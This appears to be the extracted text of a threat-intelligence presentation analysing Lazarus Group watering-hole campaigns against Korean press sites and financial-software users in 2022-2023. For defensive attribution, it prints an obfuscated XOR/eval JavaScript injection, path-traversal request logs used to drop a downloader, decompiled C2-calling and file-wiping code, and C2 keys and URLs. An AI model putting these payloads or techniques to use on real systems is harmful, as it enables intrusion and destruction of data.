



# Lazarus Group's Undercover Operations : Large-Scale Infection Campaigns 2022-2023

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# Introduction (Presenters)



Taewoo Lee (Malware Analyst)



Seulgi Lee (Malware Analyst)




Dongwook Kim (Incident Analyst)




# Summary

- prerequisite: exploit code, reconnaissance, compromised press server
- Initial Access → Lateral Movement → Exfiltrate Data



# Key Findings 1. Domino effect

Attacking software developers by abusing previously stolen source code



# Key Findings 1. Domino effect

Injecting subsequent media websites, beginning with the first penetrated media website




# Key Findings 2. Inevitable daily life

즐린 무지  
☐ㅈ ☐ㅈ = Enjoy your lunch  
오전 11:38

불금 네오  
☐ㅈ  
오후 12:25

즐린 무지  
[https://\[redacted\]news/article/015/0004870993?sid=103](https://[redacted]news/article/015/0004870993?sid=103)



5호 태풍 독수리 발생...이동 경로에 '촉각'  
5호 태풍 '독수리'가 21일 발생하면서 이동 경...

Target


CLICK!

Compromised Press




is Target?

# Background. Internet Banking in Korea (Abstract)







# Background. Internet Banking in Korea (Abstract)




# Background. Internet Banking in Korea (Abstract)




# Background. Internet Banking in Korea (Abstract)



# Background. Internet Banking in Korea (Abstract)



# Background. Internet Banking in Korea (Abstract)



# Worth & Meaning



- We must install (vulnerable) software to use internet banking in Korea.
- We feel easy because the attacker points specific targets and they exfiltrate code only.  
(wort case) Not targeted watering hole technique & use malwares with destroying systems
- We know that the vulnerable financial software's source code was exfiltrated by the attacker before.
- We are about to introduce an important case with vulnerability from now



# Incidents



# Operation Start






Lazarus



WEBLOG


C&C

~~Spear Phishing  
Attachment?  
Link?~~







# Operation Start





At the same point

0-day?

# Investigation







## Things to Find Out

1. Initial Access Techniques
2. Malware Propagation Techniques
3. Methods of Intrusion into Internal Network




0-day



0-day

1. Initial Access Techniques
2. Malware Propagation Techniques

## 1. Initial Access Techniques



At the same point

## 1. Initial Access Techniques

TCP Socket

+

File Download Function

+

Traversal

```
<%  
ip = Request.ServerVariables("HTTP_CLIENT_IP")  
If ip = "" Then  
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")  
If ip = "" Then
```



```
.../Search_bottom.asp product_field=shoes&type=golf/../../../../../../../../ProgramData\SCSKAppLink.dll  
;+WOW64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.30729;+.NET+CLR+3.5.30729  
.../Search_bottom.asp product_field=shoes&type=golf/../../../../../../../../ProgramData\SCSKAppLink.dll&  
54;+Trident/7.0;+rv:11.0)+like+Gecko 200 0 0 31  
.../Search_bottom.asp product_field=shoes&type=golf/../../../../../../../../ProgramData\SCSKAppLink.dll  
2;+WOW64;+Trident/7.0;+.NET4.0C;+.NET4.0E;+.NET+CLR+2.0.50727;+.NET+CLR+3.0.30729;+.NET+CLR+3.5.3072  
.../Search_bottom.asp product_field=shoes&type=golf/../../../../../../../../ProgramData\SCSKAppLink.dll&  
54;+Trident/7.0;+rv:11.0)+like+Gecko 200 0 0 62  
.../Search_bottom.asp product_field=shoes&type=golf/../../../../../../../../ProgramData\SCSKAppLink.dll
```



Malware

Press Site

Exploit Server

Distribution Server

```
_1b18d9=ws0hq3.substr(ws0hq3.length-5,5);  
ws0hq3=ws0hq3.substr(0,ws0hq3.length-5);  
for(mAR=0;mAR<ws0hq3.length;mAR++)  
t0J3r05Gk+=String.fromCharCode(ws0hq3.charCodeAt(mAR)^_1b18d9.charCodeAt(mAR%5));  
v0d5bn=t0J3r05Gk;eval(v0d5bn);}  
</script>  
<%  
End if  
>
```



## 2. Malware Propagation Techniques



### Windows EventLog - Application EventID 1000



Level	Date	Time	EventID	Source	Message
Error	2022-08-11	오후 11:44:57	1000	Application Error	응용 프로그램 작동 중 오류 발생
Information	2022-08-11	오후 2:25:35	1000	vmauthd	None
Information	2022-08-11	오후 2:25:35	1000	vmauthd	None
Information	2022-08-11	오후 2:25:35	1000	vmauthd	None

**Description**

오류 있는 응용 프로그램 이름: memcopy 버전: 1.0.0.20, 타임스탬프: 0x6061b08e  
오류 있는 응용 프로그램 버전: 1.0.0.20, 타임스탬프: 0x6061b08c  
**예외 코드: 0xc0000005**  
오류 오프셋: 0x002002d7


**PORT Stack Buffer OverFlow**

오류 있는 프로세스 ID: 0x15b7  
오류 있는 응용 프로그램 시작 시간: 0x01d8ad42cb46e33b  
오류 있는 응용 프로그램 경로  
오류 있는 모듈 경로  
보고서 ID: a25a4b8a-34df-4352-a948-c60d23f92451  
오류 있는 패키지 전체 이름: ?  
오류 있는 패키지에 상대적인 응용 프로그램 ID: ?






## 3. Methods of Intrusion into Internal Network



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# Lazarus Attribution



## 1. Boot or Logon Autostart Execution: Security Support Provider

**HKLM\SYSTEM32\CurrentControlSet\Control\Lsa\SecurityPackages\[Malware Name]**

## 2. Network Service Discovery

**Nirsoft WakeMeOnLan**

## 3. SYSEM Service: Service Execution


**EventID 7045, EventID 7009, EventID 7000**

## 4. Proxy : Internal Proxy

**Plink, LCX, HTRAN**

## 5. Exploitation

**CVE-2021-34527, ZeroDay**



# Lazarus Attribution



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
**EventID 7045, EventID 7009, EventID 7000**

## 4. Proxy : Internal Proxy

**Plink, LCX, HTRAN**

## 5. Exploitation

**CVE-2021-34527, ZeroDay**



# Malicious Code Analysis



# Malicious Code Analysis



## 4 Cases of Malware

ScskAppLink.dll - Downloader, Initial Access

Irmons.dll - Registry Data Decryption and Memory Injection

\*proc.sys - Registry Data Decryption and Memory Injection

mi.dll - Encrypted File Decryption and Memory Injection




# Malicious Code Analysis

CASE A ScskAppLink.dll (Pair Set : it does not exist)

PATH : C:\Users\Public\Libraries\ScskAppLink.dll

Command : rundll32.exe [PATH]\ScskAppLink.dll ,ComManagedHelper ReservedFunction4

Parameter required for malicious code operation



# Malicious Code Analysis



## CASE A ScskAppLink.dll (Pair Set : it does not exist)

ba94426bf11a3915\_0    \Users\    \AppData\Local\Naver\Naver Whale\User Data\Profile 1\Code Cache\js\ba94426bf11a3915...    200 B    2022-10-04d11:12:08.55 +9

45214ac08dd1531b\_0    \Users\    \AppData\Local\Naver\Naver Whale\User Data\Profile 1\Code Cache\js\45214ac08dd1531b...    206 B    2022-10-04d11:12:08.55 +9

18cddfb7701aa4ec\_0    \Users\    \AppData\Local\Naver\Naver Whale\User Data\Profile 1...    B    2022-10-04d11:12:08.56 +9

Watering Hole Page

0.01 sec

Partition	File	Preview	Details	Gallery	Calendar	Legend	Sync																										
Offset	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31	UTF-8
0000000	30	5C	72	A7	1B	6D	FB	FC	05	00	00	00	4A	00	00	00	EB	B5	C2	AC	00	00	00	00	5F	6B	65	79	68	74	74	70	0\r    J    _keyhttp
0000032	73	3A	2F	2F	73	74	61	74									75	6E	67	2E	63	6F	6D	2F	6A	73	2F	67	61	2F	67	6F	s://static.    ing.com/js/ga/go
0000064	6F	67	6C	65	54	61	67	4D	61	6E	61	67	65	72	2E	6A	73	3F	76	3D	32	30	32	32	30	39	32	39	31	30	30	30	ogleTagManager.js?v=202209291000
0000096	20	07	D8	41	0D	07	45	6E	F3	F4	01	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	

45214ac08dd1531b\_0    \Users\    \AppData\Local\Naver\Naver Whale\User Data\Profile 1\Code Cache\js\45214ac08dd1531b...    206 B    2022-10-04d11:12:08.55 +9

18cddfb7701aa4ec\_0    \Users\    \AppData\Local\Naver\Naver Whale\User Data\Profile 1...    91 B    2022-10-04d11:12:08.56 +9

Compromised Host

Partition	File	Preview	Details	Gallery	Calendar	Legend	Sync																										
Offset	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31	UTF-8
0000000	30	5C	72	A7	1B	6D	FB	FC	05	00	00	00	3B	00	00	00	8C	24	0A	E1	00	00	00	00	5F	6B	65	79	68	74	74	70	0\r    ;    _keyhttp
0000032	73	3A	2F	2F	77	77	77	2E									6F	2E	6B	72	2F	65	6E	2F	6D	61	69	6E	2F	63	6F	6D	s://www.sh:    .co.kr/en/main/com
0000064	70	61	6E	79	2F	54	72	69	70	6C	65	44	45	53	2E	6A	73	20	0A	D8	41	0D	97	45	6F	FA	F4	01	00	00	00	00	pany/TripleDES.js    Eo
0000096	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	7E	F2	45	45	C2	48	2F	00	10	00	00	00	00	00	00	00	~    H/    }
0000128	4F	D3	09	00	00	00	00	00	67	6F	6B	59	D3	21	60	76	5F	6D	47	59	29	4F	21	4D	ED	6F	2F	72	F3	F3	IF	anF    \V    I\    rF	

2022-10-04	2:12:08	222.118.225.33	GET	/en/main/company/TripleDES.js	-
2022-10-04	2:12:09	222.118.225.33	GET	/en/main/company/	mode=6307342
2022-10-04	2:12:11	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:11	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:12	222.118.225.33	GET	/en/main/company/read.asp	zs=dXJvZmVmd0ZGRkZGRmQ=&at=hwxe/.../.../.../.../Users/Public/Libraries/SCSKAppLink.dll&language=en-us
2022-10-04	2:12:12	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:13	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:13	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:15	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:17	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:17	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:18	222.118.225.33	POST	/en/main/company/read.asp	-
2022-10-04	2:12:21	222.118.225.33	GET	/en/main/company/read.asp	sort=name&type=golf/.../.../.../.../Users/Public/Libraries/SCSKAppLink.dll



# Malicious Code Analysis



## CASE A ScskAppLink.dll (Pair Set : it does not exist)

```
memset(C2, 0, sizeof(C2));
memset(c2_path, 0, sizeof(c2_path));
v1 = sub_10001CA0("██████-shop.com");
v2 = sub_100025C0(v1);
sprintf_s(C2, 0x104u, v2);
v3 = sub_10001860("/board/news/index.asp?sort=racket");
index_sort_racket = sub_10002560(v3);
sprintf_s(c2_path, 0x104u, index_sort_racket);
http_1000E200(C2, 443, 1, c2_path);
Sleep(0x3039u);
memset(fileName, 0, 0x402u);
v5 = (sub_10001E60)(L"C:\\Users\\Public\\Libraries\\SCSKAppLink.dll");
v6 = sub_10002620(v5);
sprintf_s(fileName, 0x104u, v6);
sub_1005BE60(fileName); // delete SCSKAppLink.dll
FreeLibraryAndExitThread(hLibModule, 0);
```

```
hFile = CreateFileW(lpFileName, 0xC0000000, 3u, 0, 3u, dwFlagsAndAttributes, 0);
if (hFile != INVALID_HANDLE_VALUE)
    return 0;
FileSize = GetFileSize(hFile, 0);
if (i % 2 == 1)
{
    TickCount = GetTickCount();
    srand(TickCount);
    for (j = 0; j < 4096; ++j)
        Buffer[j] = rand();
}
else
{
    memset(Buffer, 0, sizeof(Buffer));
}
while (FileSize)
{
    if (FileSize >= 0x1000)
        v5 = 4096;
    else
        v5 = FileSize;
    if (!WriteFile(hFile, Buffer, v5, &NumberOfBytesWritten, 0))
    {
        v4 = LstrlenW(String1, 0x20);
        if (v4)
            v3 = (v4 - String1) >> 1;
        else
            v3 = -1;
        for (k = 1; k < 26; ++k)
        {
            for (m = v3 + 1; m < LstrlenW(String); ++m)
            {
                if (String[m] != 46)
                    String1[m] = k + 65;
            }
            if (!MoveFileW(String, String1))
                break;
            LstrcpyW(String, String1);
        }
        return DeleteFileW(String); // filename
    }
}
```

# Malicious Code Analysis



## CASE B Irmons.dll ( Pair Set : registry data )



PATH : C:\[random path]\ Irmons.dll (random DLL file name)

: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts\GiddyupStda Bold

(RAT)

: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts\GiddyupStda

(Configuration info)



# Malicious Code Analysis



## CASE B Irmons.dll ( Pair Set : registry data )

```
GiddyupStda
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text
00000000 52 43 35 53 49 4D 50 03 86 44 55 F1 A1 33 07 A2 RC5SIMP.+DUñ;3.e
00000010 DA 20 10 65 11 6A 98 3A 85 B0 0B 3C 02 45 31 FD Ū .e.j~:~°.<.Elý
00000020 75 C8 E4 FB 04 17 5A 2C D2 45 D6 43 B2 D1 1D 57 uĚäü..Z,òEÖC*Ñ.W
00000030 36 86 D7 B1 A3 47 94 28 A1 7C A8 7C 98 82 AA E0 6t*±lG"(j|'|",*à
00000040 75 F2 C1 0A E7 6A A3 F4 4C 28 F4 6F 5B 03 DF 75 uóÄ.çj±óL(óó[.Bu
00000050 A0 D0 61 18 17 73 70 9E 0A 4F 3A 0B 19 9E C1 A4 ða..spž.O:..žÄM
00000060 FB F6 68 C4 62 39 60 8A 10 08 57 9F E8 B7 80 2D ũöñÄb9`š..Wÿè·e-
00000070 11 D3 2B 87 29 E4 66 EE 28 07 5F 9E 80 4C 05 21 .Ó+*)äfi(. _žēL.!
00000080 EF 53 B0 3D 75 A7 A6 6B 67 A5 7C 36 A1 06 3C C5 iS°=u$;kgŸ]6;.<Ä
00000090 D5 6D 4A 83 18 F6 4D 17 61 D2 37 1D 7E 3F 2B FC ŐmJf.öM.aô7.~?+ü
000000A0 5A 11 62 4B 38 3C 15 B4 F5 3B B8 02 5F C3 85 7F Z.bK8<`ä:  Ä
```


```
Giddyupstda Bold
Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text
00000000 52 43 35 53 49 4D 50 03 4B 03 0C 8F A0 51 82 51 RC5SIMP.K... Q,Q
00000010 82 79 4B 18 5F 5F 78 FA 18 4B CE 0E 53 9A 22 5B ,yK. __xú.Kí.Sš"[
00000020 FC CC F9 C4 25 F6 37 D8 B8 5A 6C 74 6E 9A D6 CC ũiüÄ%ö7ø,Zltnšöi
00000030 13 41 7E F0 E1 0A 6E 73 6C A1 65 A4 AC DD 12 6A .A~ðá.nsl;eM~ÿ.j
00000040 34 D7 7E F8 4D FE 1F 19 43 ED 7A 40 E6 37 69 29 4x~øMp..Ciz(æ7i)
00000050 1C 10 0B 32 7F 69 61 34 50 F8 38 BE 34 B3 32 24 ...2.ia4Pø8*4'2$
00000060 FB 9E D5 CF F4 D3 35 D3 86 09 FF 6D DD CC B5 D7 ũžöiôó5ó+.ýmÿiþ×
00000070 84 3C 4E 14 4C 68 22 A3 75 C2 FE B1 C8 B9 62 D7 „<N.Lh"ËuÄþ±Ë'b×
00000080 3F FE F0 0F E1 46 C9 16 9F BA 50 8C 16 6D A9 DA ?bð.áFÉ.ÿ°PE.móÜ
```

값 이름	GiddyupStda
값 종류	REG_BINARY
값 데이터	0000 72 CB 8F 80 5E 44 35 56 56 48 15 FA 2A 3B DA 95 r...^D5VVH.*;... 0010 D4 98 48 D7 99 54 6E A4 EE 29 5B B7 A7 C8 B2 96 ..H..Tn..)[.... 0020 68 70 8F C8 66 F1 08 6D AF 68 08 10 0A 55 BE 22 hp..f..m.h...U." 0030 00 6A 91 77 56 97 F5 48 BA F7 AF 8D 1A 40 3D 6F .j.wV..H.....@=o 0040 BA 31 B8 43 3F D4 30 09 C8 84 32 64 75 28 67 B9 .l.C?.0...2du(g. 0050 FB 49 FD D3 1C 84 B2 BB 98 91 E3 F1 2D E7 37 00 .I.....-7. 0060 92 9E 35 0C DD 20 6B 30 31 8B B5 75 ED 5B 81 CA ..5.. k0l..u.[.. 0070 CD 38 CF 04 6F E9 2A 54 5F 58 6D A2 A8 D3 2F 4D .8...o.*T.Xm.../M 0080 E1 3E EC BA 01 EA 08 4C A4 1A 99 F2 0D 82 B9 11 .>.....L..... 0090 35 25 C2 F4 04 B6 8E 9D 68 00 FE B9 13 1D 01 BA 5%.....<..h..... 00A0 58 8C FF B4 83 E7 EA 4C 67 92 7B 30 99 E8 91 DE X.....Lg.{0.... 00B0 B7 75 B0 C1 07 F3 53 DA A7 F4 7C AB 0E C0 5B 74 .u....S...l...t

값 이름	GiddyupStda Bold
값 종류	REG_BINARY
값 데이터	0000 D6 A5 D5 7D 5E 85 1A E4 81 97 E8 22 EC 8E 66 E3 ...)^....."...f. 0010 DB 72 C3 6A DC F3 9F 60 58 16 B3 43 CA AE E3 71 .r.j...`X..C...q 0020 54 80 1C 1D 44 0B ED 11 A1 FB A3 50 DA F7 36 24 T...D.....P..6\$ 0030 8D B5 65 45 A9 BF F5 9B 04 B7 3B C5 09 10 30 54 ..eE.....;..OT 0040 01 3A 28 C9 6B A3 B3 B8 55 77 90 71 25 D2 72 30 .:(.k..Uw.q\$..r0 0050 F1 36 41 DA 6F FB CB 8B 3C F7 F0 D4 4B 89 96 AF .6A.o...<...K... 0060 41 C1 84 88 A0 8E A1 30 6C 8C A4 0F 5F 8A AB 0A A.....0l..... 0070 C2 BB F8 6A 9D 7C 42 DC 10 D5 8B 4D 6D 91 8E 27 ...j.B...Mm.' 0080 48 AA 8A 51 00 37 44 A6 7D B9 48 21 2B 6E B4 40 H..Q.7D.).H!+n.ø 0090 3D F9 B6 DE 50 78 94 4A 7C 0A C7 18 E9 30 0B 60 =...Px.J ...0..` 00A0 6A F5 FE CD DD FA 66 79 FC 3A B0 CC DA F2 E4 9A j.....fv.....

RC5 Algorithm

AES Algorithm



# Malicious Code Analysis



## CASE B Irmons.dll ( Pair Set : registry data )

The screenshot shows an AES Decrypt tool interface. The Key is set to 'g20c6qWRU3n.B0Pm' in UTF8. The IV is '00 00 00 00...' in HEX. The Mode is CBC. The Input is shown in Hex, and the Output is shown in Raw. The Output contains the following text:

```
• CR RSEnIfdPCAuditC:\Program Files\Windows Mail\wabimg.dll-  
Rhttps://www.biz****.co.kr/board/wysi/wysi.asphttps://www.eledu****.co.kr/mobile/temps/guest/guest.asp  
mps/guest/guest.asphttps://m2****.co.kr/upload/prod/thumb_s/prod.aspstx
```

Service Name : PCAudit

Path : C:\Program Files\Windows Mail\wabimg.dll

C2 : biz\*\*\*\*.co.kr/board/wysi/wysi.asp  
eledu\*\*\*\*.co.kr/mobile/temps/guest/guest.asp  
m2\*\*\*\*.co.kr/upload/prod/thumb\_s/prod.asp





# Malicious Code Analysis

CASE C \*proc.sys ( Pair Set : registry data )

PATH : C:\Window\system32\\*proc.sys

: SYSTEM\CurrentControlSet\Servies\eventlog\Application\Regular\[Malware Name] (Configuration info)



# Malicious Code Analysis


## CASE D mi.dll ( Pair Set : file list )

PATH : C:\appdata\[random]\wsmprovhost.exe

: C:\appdata\[random]\mi.dll

: C:\appdata\[random]\[random file name] (encrypted RAT)

Command : wsmprovhost.exe [argument(encrypted Key & RAT File name)]




Key = MD5(Get ComputerName)

# Malicious Code Analysis



## CASE D mi.dll ( Pair Set : file list )

wsmprovhost.exe [argument]




# Attribution





- Target : defense industry, cryptocurrency exchange
- Initial Access :  
Spear Phishing,  
Watering Hole  
S/W vulnerabilities




- Target : press, marine industry, Financial S/W development
- Initial Access :  
Watering Hole  
Financial security S/W vulnerabilities

- Target : Hosting company, Financial S/W development  
G/W development
- Initial Access:  
Spear Phishing



# Attribution

## Initial Access – Drive by Compromise




## Operation BookCodes (2020)



# Attribution

## Initial Access – Drive by Compromise



### Operation GoldGoblin (2023)



# Attribution

## Initial Access – Drive by Compromise

```
<%
ip = Request.ServerVariables("HTTP_CLIENT_IP")
If ip = "" Then
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip = "" Then
ip = Request.ServerVariables("REMOTE_ADDR")
End If
End If

If MD5(Left(ip, 10)) = "9892" Or MD5(Left(ip, 11)) =
"b3a4f1" Or MD5(Left(ip, 11)) = "9e94" Or MD5(Left(ip, 11)) =
"8f2277" Or MD5(Left(ip, 12)) = "1191f" Or MD5(Left(ip, 12)) =
"539a85" Or MD5(Left(ip, 13)) = "6add1" Or MD5(Left(ip, 9)) =
"69d162" Or MD5(Left(ip, 13)) = "88d246" Then

%>
<script language='javascript'>
{vOd5bN=unescape("%20%5E%15%1F%21_%02D56X%02%0Fjf%0D%1F%0C0%25%5C%13J16RKM
*0E%06%19xk%1E%1A%034%21E%00%07%23%28%5DX%09-%29%1E%06%18-
%20D%15%1Em7D%14%06+7EED%237A!%03%26y%08N%5Dt%11%01%03%260YK%5Blw%00V%
02%27-
V%1E%1E%7Fu%1FE%58%7C%1E%1F%0C0%25%5C%13T%60m%0AD1vjBR32Bx1A);Ws0hq3=vO
d5bN.substr(0,vOd5bN.length - 7);_1b18d9=Ws0hq3.substr(Ws0hq3.length-
5,5);Ws0hq3=Ws0hq3.substr(0,Ws0hq3.length-
5);t0J3r05Gk="";for(mAR=0;mAR<Ws0hq3.length;mAR++)t0J3r05Gk+=String.fromCharCode(Ws0h
q3.charCodeAt(mAR)^_1b18d9.charCodeAt(mAR%5));vOd5bN=t0J3r05Gk;eval(vOd5bN);}
</script>
<%
End if
%>
```

Operation BookCodes (2020)

```
<?php
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") & strtolower(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strtolower(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strtolower(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strtolower($_SERVER['REMOTE_ADDR'], "Unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "Unknown";

    return $ip;
}

$ip = GetIP();
$ips = explode('.', $ip);
$ip_b = md5($ips[0].'$ips[1].');
$ip_c = md5($ips[0].'$ips[1].'$ips[2].');
$ip_d = md5($ip);
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);

$ip_c_s_lst = array ('902' Or MD5(Left($ip_c, 10)) = "pa163b", '86662a' Or MD5(Left($ip_c, 10)) = "3ef", '57e1d9cf' Or MD5(Left($ip_c, 10)) = "3ef");
$ip_d_s_lst = array ('4d5' Or MD5(Left($ip_d, 10)) = "793e56", '79a3d8' Or MD5(Left($ip_d, 10)) = "be0", '27e17a2a' Or MD5(Left($ip_d, 10)) = "be0");

if (in_array($ip_c, $ip_c_s_lst) || in_array($ip_d, $ip_d_s_lst))
{
    <script src="https://www.malware-traffic-analysis.net/2020/08/14/operation-bookcodes-2020-08-14-01.js"></script>
    <script src="https://www.malware-traffic-analysis.net/2020/08/14/operation-bookcodes-2020-08-14-02.js"></script>
}
}
?>
```



Operation GoldGoblin (2023)



# Attribution





## Command and Control - Web Service: Bidirectional Communication



# Attribution



## Command and Control - Web Service: Bidirectional Communication



# Attribution



## Defense Evasion - Masquerading: Match Legitimate Name or Location

IR	Malicious Code Path
DreamJob Cluster(2018)	C:\ProgramData\adobe\ C:\ProgramData\softcamp\ C:\Windows\System32\[ServiceName].dll
Bookcodes Cluster (2020)	C:\ProgramData\ C:\Windows\System32\[ServiceName].dll
GoldGoblin Cluster (2023)	C:\ProramData\USOShared\ C:\ProramData\picpick\ C:\ProramData\ESTsoft\ C:\ProramData\Nugot\ C:\ProramData\Intel\ C:\ProramData\ssh\ C:\ProramData\Microsoft\DRM\ C:\Windows\System32\**proc.sys



# Attribution

## DreamJob(DeathNote) Cluster



### Substitution Algorithm

```
v3 = 11;
if ( *result )
{
  v4 = result;
  do
  {
    v5 = 0;
    v6 = &Substitution_table;
    while ( *v4 != *v6 )
    {
      ++v5;
      v6 = (v6 + 1);
      if ( v5 >= 0x40 )
        goto LABEL_9;
    }
    v7 = *(&Substitution_table + ((v5 - v3) & 0x3F));
    *v4 = v7;
    v3 = (v3 + v7) & 0x3F;
  LABEL_9:
    ++v4;
  } while ( *v4 );
}
return v2;
}
return result;
```

### Communication parameter

```
v7 = 0;
vsprintf(v9, "%s", "8Rvi4-UPMQvFgJMj3cZF");
vsprintf(v11, "%X", a1);
sprintf(Buffer, 0x201ui64, "%s%s%s", "type=", v11, "data=", v9);
v2 = sub_1800057F0(Buffer, strlen(Buffer), &Source, &v7);
v3 = Source;
if ( v2 != 1 )
{
  LABEL_6:
  if ( v3 )
  {
    v6 = Decode_str("My9DhrY6s"); // LocalFree
    v6(v3);
  }
  return 0i64;
}
memset(Destination, 0, 260);
if ( Source )
{
  if ( v7 >= 0xF )
  {
    memcpy_s(Destination, 0x104ui64, Source, 0xFui64);
    if ( !strcmp(Destination, "<DOCTYPE html>") )
    {
      v4 = Decode_str("My9DhrY6s"); // LocalFree
      v4(v3);
      return 1i64;
    }
  }
}
goto LABEL_6;
}
return 0i64;
```

### Substitution Algorithm

```
v3 = 11;
if ( *result )
{
  v4 = result;
  do
  {
    v5 = 0;
    v6 = &Substitution_table;
    while ( *v4 != *v6 )
    {
      ++v5;
      v6 = (v6 + 1);
      if ( v5 >= 0x40 )
        goto LABEL_9;
    }
    v7 = *(&Substitution_table + ((v5 - v3) & 0x3F));
    *v4 = v7;
    v3 = (v3 + v7) & 0x3F;
  LABEL_9:
    ++v4;
  } while ( *v4 );
}
return v2;
}
return result;
```

### Communication parameter

```
memset(DstBuf, 0, 513);
SI
me
me
v7
v2 = sub_1800EDA0(v9, "%s", "NVWo1dpKf02J9wk408AC");
sub_1800EDA0(v11, "%X", a1);
sprintf_s(DstBuf, 0x201ui64, "%s%s%s", "board=", v11, "contents=", v9);
v2 = sub_180010950(DstBuf, strlen(DstBuf), &Src, &v7);
v3 = Src;
if ( v2 != 1 )
{
  LABEL_6:
  if ( v3 )
  {
    v6 = decode("Sqbk9aJyT");
    (v6)(v3);
  }
  return 0i64;
}
memset(Dst, 0, 260);
if ( Src )
{
  if ( v7 >= 0xF )
  {
    memcpy_s(Dst, 0x104ui64, Src, 0xFui64);
    if ( !strcmp(Dst, "<DOCTYPE html>") )
    {
      v4 = decode("Sqbk9aJyT");
      (v4)(v3);
      return 1i64;
    }
  }
}
goto LABEL_6;
}
return 0i64;
```

CASE B (GiddyupStda Bold\_Command page)

Incident at a Cryptocurrency Exchange (2018)



# Attribution

## DreamJob(DeathNote) Cluster




```
Const pASsWORD_FIRST="8Rvi4-UPMQvFgjMJ3cZF"  
CoNst PAsSWORd_SEcOND="D8CsrVeepHe5ByHrm8I2"  
Const PARAM_FIRSt="type"  
Const PARAM_SEcOnD="data"  
ConSt PArAM_THIRD="topic"  
Const TYPE_FIRST="article"  
Const TYPE_SECOND="cisco"  
Const tYpE_ThiRD="microsoft"  
const TYPE_fOURTH="apple"  
Const TyPE_FIFTH="favourite"  
COnst RESPONse_SUCCeSS="<!DOCTYPE html>"  
Const RESPONSE FaIl=" "
```

```
private static final String PASSWORD_FIRST = "NVWo1dpKf02J9wk408AC";  
private static final String PASSWORD_SECOND = "PvfxTShbdHe895yEoUAV";  
private static final String PARAM_FIRST = "board";  
private static final String PARAM_SECOND = "contents";  
private static final String PARAM_THIRD = "table";  
private static final String TYPE_FIRST = "economy";  
private static final String TYPE_SECOND = "fashion";  
private static final String TYPE_THIRD = "cook";  
private static final String TYPE_FOURTH = "diet";  
private static final String TYPE_FIFTH = "comic";  
private static final String TYPE_SIXTH = "travel";  
private static final String RESPONSE_SUCCESS = "<!DOCTYPE html>";  
private static final String RESPONSE_FAIL = " ";  
private static final String REPLACE_STRING = "D9hWnVEqdgzJ67/B8euS0yKCIM
```

CASE B (GiddyupStda Bold\_Command page)

Incident at a Cryptocurrency Exchange (2018)



인터넷침해대응센터  
Krcert/cc  
KOREA INTERNET SECURITY CENTER

# Attribution

## FALLCHILL Cluster



	FALLCHILL (RC4) – CISA (2017)	FALLCHILL (AES) – KrCERT (2018)
<b>Encrypt configuration String</b>	RC4+XOR	AES
<b>Command Encrypt</b>	RC4+XOR	AES+BASE64
<b>Protocol</b>	Fake TLS (TLS 1.0, TLS 1.2)	HTTP, TLS 1.0
<b>Malware Version</b>	2.3 , x86_3.0	x86_1.0, x64_1.0
<b>Command ID</b>	0xFF34 ~ 0xFF56	0xFF31 ~ 0xFF5D
<b>configuration Location</b>	SYSTEM\CurrentControlSet\services\eventlog\Application\Config	SYSTEM\CurrentControlSet\services\eventlog\Application\Config SYSTEM\CurrentControlSet\services\eventlog\Application\Config

Malware Name	Confirm	Malware Version	Configuration Location
FALLCHILL (RC4)	CISA('17)	2.3 , x86_3.0	SYSTEM\CurrentControlSet\services\eventlog\Application\Config
FALLCHILL (AES)	KISA('18)	x86_1.0, x64_1.0	SYSTEM\CurrentControlSet\services\eventlog\Application\Config
**proc.sys (CASE C)	KISA('21~'23)	x64_1.2	SYSTEM\CurrentControlSet\services\eventlog\Application\Config



# Attribution

## FALLCHILL Cluster




```
v13 = GetTickCount_0();
srand(v13);
for ( cnt = 0i64; cnt < 16; ++cnt )
{
    v15 = rand();
    if ( v15 == 3 * (v15 / 3) )
    {
        v16 = v15 % 10 + 48;
    }
    else if ( v15 % 3 == 1 )
    {
        v16 = v15 % 26 + 97;
    }
    else
    {
        v16 = v15 % 26 + 65;
    }
    v85[cnt] = v16;
}
```


16byte Key Generate Algorithm  
GoldGoblin – CASE C

```
v1 = GetTickCount();
srand(v1);
for ( i = 0; i < 16; ++i )
{
    v4 = rand();
    if ( v4 % 3 )
    {
        if ( v4 % 3 == 1 )
            v2 = v4 % 0x1A + 97;
        else
            v2 = v4 % 0x1A + 65;
        *(i + a1) = v2;
    }
    else
    {
        *(i + a1) = v4 % 0xA + 48;
    }
}
```

16byte Key Generate Algorithm  
FALLCHILL-AES



- Target : defense industry, cryptocurrency exchange
- Initial Access :  
Spear Phishing,  
Watering Hole  
S/W vulnerabilities



